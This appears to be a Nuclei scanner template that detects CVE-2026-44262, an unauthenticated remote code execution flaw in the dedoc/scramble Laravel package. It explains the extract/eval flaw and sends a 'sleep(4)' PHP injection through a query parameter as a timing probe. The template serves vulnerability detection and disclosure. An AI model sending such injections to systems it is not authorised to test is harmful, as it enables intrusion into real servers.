README.md
Rendering markdown...
id: CVE-2026-44262
info:
name: dedoc/scramble - Unauthenticated Remote Code Execution
author: joshuavanderpoll
severity: critical
description: |
dedoc/scramble >=0.13.2 <0.13.22 is vulnerable to RCE via its OpenAPI doc
generator. When a controller assigns $request->input() to a variable named
$code and uses it in validate(), Scramble's NodeRulesEvaluator calls
extract($variables) before eval("return $code;"), allowing an attacker to
overwrite $code with arbitrary PHP via a query parameter.
Detection uses a timing probe (sleep) — no destructive exploitation.
reference:
- https://github.com/joshuavanderpoll/CVE-2026-44262
- https://github.com/advisories/GHSA-4rm2-28vj-fj39
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
cvss-score: 9.4
cve-id: CVE-2026-44262
cwe-id: CWE-94
tags: cve,cve2026,rce,laravel,scramble,php
metadata:
verified: true
flow: |
http(1);
try {
if (template["vuln_param"]) {
http(2);
}
} catch(e) {}
http:
# Step 1: extract vulnerable param name — no matchers, just detection
# extractor looks for a query param whose default resembles a Laravel validation rule
- method: GET
path:
- "{{BaseURL}}/docs/api.json"
extractors:
- type: regex
name: vuln_param
internal: true
# match "name": "X" followed within 300 chars by "default": "...|..." (rule-like)
regex:
- '"name"\s*:\s*"([^"]+)"[\s\S]{1,600}"default"\s*:\s*"[^"]*\|[^"]*"'
group: 1
part: body
# Step 2: timing probe — only runs if vuln_param was found
# sleep(4) triggers if eval() executes attacker input, causing a ~4s delay
- method: GET
path:
- "{{BaseURL}}/docs/api.json?{{vuln_param}}=sleep(4)"
matchers:
- type: dsl
dsl:
- "duration >= 3"